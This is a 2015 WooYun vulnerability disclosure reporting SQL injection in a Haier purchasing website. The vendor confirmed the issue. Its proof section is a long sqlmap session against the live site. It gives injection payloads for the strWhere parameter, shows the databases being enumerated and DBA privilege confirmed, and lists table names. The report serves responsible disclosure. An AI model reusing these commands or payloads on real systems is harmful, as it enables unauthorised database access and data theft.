当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135360

漏洞标题:海尔某站SQL注入多个数据库一千多张表订单等信息侧漏,dba权限

相关厂商:海尔集团

漏洞作者: 路人甲

提交时间:2015-08-19 18:48

修复时间:2015-10-05 18:14

公开时间:2015-10-05 18:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-21: 厂商已经确认,细节仅向厂商公开
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开

简要描述:

rt

详细说明:

QQ截图20150819182048.jpg

漏洞证明:

QQ截图20150819182027.jpg


QQ截图20150819182012.jpg


[root@Hacker~]# Sqlmap Sqlmap -u "http://gopurchase.haier.com/GOPurchase/Common/ConsultSupplyerBank.aspx?cId=inbankNo&cNm=inbankNm&strWhere=&selectType=0&selectIds=a" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:04:32
[18:04:32] [INFO] testing connection to the target URL
[18:04:33] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:04:34] [INFO] target URL is stable
[18:04:34] [INFO] testing if GET parameter 'cId' is dynamic
[18:04:34] [WARNING] GET parameter 'cId' does not appear dynamic
[18:04:35] [WARNING] heuristic (basic) test shows that GET parameter 'cId' might not be injectable
[18:04:35] [INFO] testing for SQL injection on GET parameter 'cId'
[18:04:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:04:36] [WARNING] reflective value(s) found and filtering out
[18:04:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:04:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:04:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:04:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:04:47] [INFO] testing 'MySQL inline queries'
[18:04:48] [INFO] testing 'PostgreSQL inline queries'
[18:04:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:04:48] [INFO] testing 'Oracle inline queries'
[18:04:49] [INFO] testing 'SQLite inline queries'
[18:04:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:04:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:04:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:04:53] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:04:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:04:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:04:58] [INFO] testing 'Oracle AND time-based blind'
[18:05:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:05:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:05:20] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[18:05:40] [WARNING] GET parameter 'cId' is not injectable
[18:05:40] [INFO] testing if GET parameter 'cNm' is dynamic
[18:05:41] [WARNING] GET parameter 'cNm' does not appear dynamic
[18:05:41] [WARNING] heuristic (basic) test shows that GET parameter 'cNm' might not be injectable
[18:05:41] [INFO] testing for SQL injection on GET parameter 'cNm'
[18:05:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:05:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:05:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:05:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:05:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:05:53] [INFO] testing 'MySQL inline queries'
[18:05:53] [INFO] testing 'PostgreSQL inline queries'
[18:05:54] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:05:54] [INFO] testing 'Oracle inline queries'
[18:05:54] [INFO] testing 'SQLite inline queries'
[18:05:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:05:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:05:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:05:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:06:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:06:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:06:03] [INFO] testing 'Oracle AND time-based blind'
[18:06:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:06:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:06:46] [WARNING] GET parameter 'cNm' is not injectable
[18:06:46] [INFO] testing if GET parameter 'strWhere' is dynamic
[18:06:47] [INFO] confirming that GET parameter 'strWhere' is dynamic
[18:06:47] [INFO] GET parameter 'strWhere' is dynamic
sqlmap got a 302 redirect to 'http://gopurchase.haier.com:80/Gopurchase/ErrorMsg.aspx'. Do you want to follow? [Y/n] y
[18:09:18] [WARNING] heuristic (basic) test shows that GET parameter 'strWhere' might not be injectable
[18:09:18] [INFO] testing for SQL injection on GET parameter 'strWhere'
[18:09:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:09:21] [INFO] GET parameter 'strWhere' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:09:23] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y
[18:09:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:09:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:09:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:09:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[18:09:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:09:27] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[18:09:27] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[18:09:27] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[18:09:27] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[18:09:27] [INFO] testing 'MySQL inline queries'
[18:09:27] [INFO] testing 'PostgreSQL inline queries'
[18:09:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:09:27] [INFO] testing 'Oracle inline queries'
[18:09:27] [INFO] testing 'SQLite inline queries'
[18:09:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:09:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:09:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:09:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:09:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:09:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:09:39] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[18:10:09] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'
[18:10:39] [INFO] testing 'Oracle AND time-based blind'
[18:10:39] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'
[18:11:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace'
[18:11:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'
[18:11:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:11:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:11:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:11:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:11:17] [INFO] target URL appears to have 10 columns in query
[18:11:20] [INFO] GET parameter 'strWhere' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[18:11:20] [WARNING] applying generic concatenation with double pipes ('||')
[18:11:20] [WARNING] parameter length constraint mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'strWhere' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 472 HTTP(s) requests:
---
Place: GET
Parameter: strWhere
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cId=inbankNo&cNm=inbankNm&strWhere=%' AND 8773=8773 AND '%'='&selectType=0&selectIds=a
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: cId=inbankNo&cNm=inbankNm&strWhere=-7972%' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(101)+CHAR(120)+CHAR(113)+CHAR(118)+CHAR(89)+CHAR(113)+CHAR(112)+CHAR(78)+CHAR(76)+CHAR(117)+CHAR(89)+CHAR(74)+CHAR(81)+CHAR(113)+CHAR(99)+CHAR(122)+CHAR(104)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &selectType=0&selectIds=a
---
[18:15:29] [INFO] testing MySQL
[18:15:29] [WARNING] the back-end DBMS is not MySQL
[18:15:29] [INFO] testing Oracle
[18:15:29] [WARNING] the back-end DBMS is not Oracle
[18:15:29] [INFO] testing PostgreSQL
[18:15:30] [WARNING] the back-end DBMS is not PostgreSQL
[18:15:30] [INFO] testing Microsoft SQL Server
[18:15:30] [INFO] confirming Microsoft SQL Server
[18:15:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:15:31] [INFO] fetching database names
[18:15:32] [INFO] the SQL query used returns 10 entries
[18:15:32] [INFO] retrieved: "GOPSHF"
[18:15:32] [INFO] retrieved: "GOPSHF"
[18:15:32] [INFO] retrieved: "LumigentDemoDB"
[18:15:33] [INFO] retrieved: "LumigentDemoDB"
[18:15:33] [INFO] retrieved: "master"
[18:15:33] [INFO] retrieved: "model"
[18:15:34] [INFO] retrieved: "msdb"
[18:15:34] [INFO] retrieved: "ReportServer"
[18:15:34] [INFO] retrieved: "ReportServerTempDB"
[18:15:34] [INFO] retrieved: "tempdb"
available databases [8]:
[*] GOPSHF
[*] LumigentDemoDB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[18:15:34] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[18:15:34] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\gopurchase.haier.com'
[*] shutting down at 18:15:34
[root@Hacker~]# Sqlmap Sqlmap -u "http://gopurchase.haier.com/GOPurchase/Common/ConsultSupplyerBank.aspx?cId=inbankNo&cNm=inbankNm&strWhere=&selectType=0&selectIds=a" --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:15:48
[18:15:49] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:15:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: strWhere
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cId=inbankNo&cNm=inbankNm&strWhere=%' AND 8773=8773 AND '%'='&selectType=0&selectIds=a
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: cId=inbankNo&cNm=inbankNm&strWhere=-7972%' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(101)+CHAR(120)+CHAR(113)+CHAR(118)+CHAR(89)+CHAR(113)+CHAR(112)+CHAR(78)+CHAR(76)+CHAR(117)+CHAR(89)+CHAR(74)+CHAR(81)+CHAR(113)+CHAR(99)+CHAR(122)+CHAR(104)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &selectType=0&selectIds=a
---
[18:15:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:15:49] [INFO] testing if current user is DBA
[18:15:49] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
[18:15:49] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[18:15:49] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\gopurchase.haier.com'
[*] shutting down at 18:15:49
[root@Hacker~]# Sqlmap Sqlmap -u "http://gopurchase.haier.com/GOPurchase/Common/ConsultSupplyerBank.aspx?cId=inbankNo&cNm=inbankNm&strWhere=&selectType=0&selectIds=a" -D GOPSHF --count
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:19:37
[18:19:37] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:19:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: strWhere
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cId=inbankNo&cNm=inbankNm&strWhere=%' AND 8773=8773 AND '%'='&selectType=0&selectIds=a
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: cId=inbankNo&cNm=inbankNm&strWhere=-7972%' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(101)+CHAR(120)+CHAR(113)+CHAR(118)+CHAR(89)+CHAR(113)+CHAR(112)+CHAR(78)+CHAR(76)+CHAR(117)+CHAR(89)+CHAR(74)+CHAR(81)+CHAR(113)+CHAR(99)+CHAR(122)+CHAR(104)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &selectType=0&selectIds=a
---
[18:19:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:19:37] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[18:19:37] [INFO] fetching tables for database: GOPSHF
[18:19:38] [WARNING] reflective value(s) found and filtering out
[18:19:38] [INFO] the SQL query used returns 1808 entries
[18:19:38] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[18:19:38] [INFO] retrieved: "dbo.20130510 ??"
[18:19:38] [INFO] retrieved: "dbo.'20130630$'"
[18:19:39] [INFO] retrieved: "dbo.'20130812EVS$'"
[18:19:39] [INFO] retrieved: "dbo.20130904tmp"
[18:19:39] [INFO] retrieved: "dbo.20130906$"
[18:19:40] [INFO] retrieved: "dbo.20130910"
[18:19:40] [INFO] retrieved: "dbo.'20130926$'"
[18:19:40] [INFO] retrieved: "dbo.'20131025$'"
[18:19:41] [INFO] retrieved: "dbo.20131108"
[18:19:41] [INFO] retrieved: "dbo.'20131219$'"
[18:19:41] [INFO] retrieved: "dbo.'20140126$'"
[18:19:42] [INFO] retrieved: "dbo.'20140226$'"
[18:19:42] [INFO] retrieved: "dbo.'20140328$'"
[18:19:42] [INFO] retrieved: "dbo.'20140528$'"
[18:19:43] [INFO] retrieved: "dbo.'20140725$'"
[18:19:43] [INFO] retrieved: "dbo.690???????GO???"
[18:19:43] [INFO] retrieved: "dbo.aa2"
[18:19:44] [INFO] retrieved: "dbo.aa3"
[18:19:44] [INFO] retrieved: "dbo.aaa_4"
[18:19:44] [INFO] retrieved: "dbo.aaa_4"
[18:19:45] [INFO] retrieved: "dbo.aaa_DC"
[18:19:45] [INFO] retrieved: "dbo.BASPurchaseApplyBill"
[18:19:45] [INFO] retrieved: "dbo.BASPurchaseApplyFile"
[18:19:46] [INFO] retrieved: "dbo.BASPurchaseApplyPlan"
[18:19:46] [INFO] retrieved: "dbo.BASPurchaseApplySupplyer"
[18:19:46] [INFO] retrieved: "dbo.BASPurchaseExcuteFile"
[18:19:47] [INFO] retrieved: "dbo.BASSelectSupplyerFile"
[18:19:47] [INFO] retrieved: "dbo.BBISupplyerArea"
[18:19:47] [INFO] retrieved: "dbo.BBISupplyerBadInfoFile"
[18:19:48] [INFO] retrieved: "dbo.BBISupplyerBadInfoFile"
[18:19:48] [INFO] retrieved: "dbo.BCMProjectSort"
[18:19:48] [INFO] retrieved: "dbo.BCMPurchaseApplyBill"
[18:19:49] [INFO] retrieved: "dbo.BCMPurchaseApplyDetailMateriel"
[18:19:49] [INFO] retrieved: "dbo.BCMPurchaseApplyDetailMateriel"
[18:19:49] [INFO] retrieved: "dbo.BCMPurchaseApplyFile"
[18:19:50] [INFO] retrieved: "dbo.BCMPurchaseApplySupplyer"
[18:19:50] [INFO] retrieved: "dbo.BCMPurchaseCheckFile"
[18:19:50] [INFO] retrieved: "dbo.BCMPurchaseCheckFile"
[18:19:51] [INFO] retrieved: "dbo.BCMPurchaseContractFile"
[18:19:51] [INFO] retrieved: "dbo.BCMPurchaseContractFile"
[18:19:51] [INFO] retrieved: "dbo.BCMPurchaseContractPayFile"
[18:19:52] [INFO] retrieved: "dbo.BCMPurchaseContractPayList"
[18:19:52] [INFO] retrieved: "dbo.BCMPurchaseContractPayType20131120"
[18:19:52] [INFO] retrieved: "dbo.BCMPurchaseContractPayType20131120"
[18:19:53] [INFO] retrieved: "dbo.BCMPurchaseContractPerform"
[18:19:53] [INFO] retrieved: "dbo.BCMPurchasePerformChageLogFile"
[18:19:53] [INFO] retrieved: "dbo.BCMPurchasePerformChageLogFile"
[18:20:57] [INFO] retrieved: "dbo.BCMPurchasePerformChageLogFile"
[18:20:57] [INFO] retrieved: "dbo.BCMPurchasePerformFile"
[18:20:57] [INFO] retrieved: "dbo.BCMPurchasePeriodDiffAnalyse"
[18:20:58] [INFO] retrieved: "dbo.BCMPurchaseStandardPeriod"
[18:20:58] [INFO] retrieved: "dbo.BCMSatisfactionSurvey"
[18:20:58] [INFO] retrieved: "dbo.BCMSelectSupplyerFile"
[18:20:59] [INFO] retrieved: "dbo.BDCContractFile"
[18:20:59] [INFO] retrieved: "dbo.BDCContractModifyLog"
[18:21:00] [INFO] retrieved: "dbo.BDCFactoryStorePosition"
[18:21:00] [INFO] retrieved: "dbo.BDCGambleApplyBillDetail"

修复方案:

数据太多,没跑完,点到为止!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-08-21 18:13

厂商回复:

感谢乌云平台白帽子的测试与提醒,我方已安排人员进行处理

最新状态:

暂无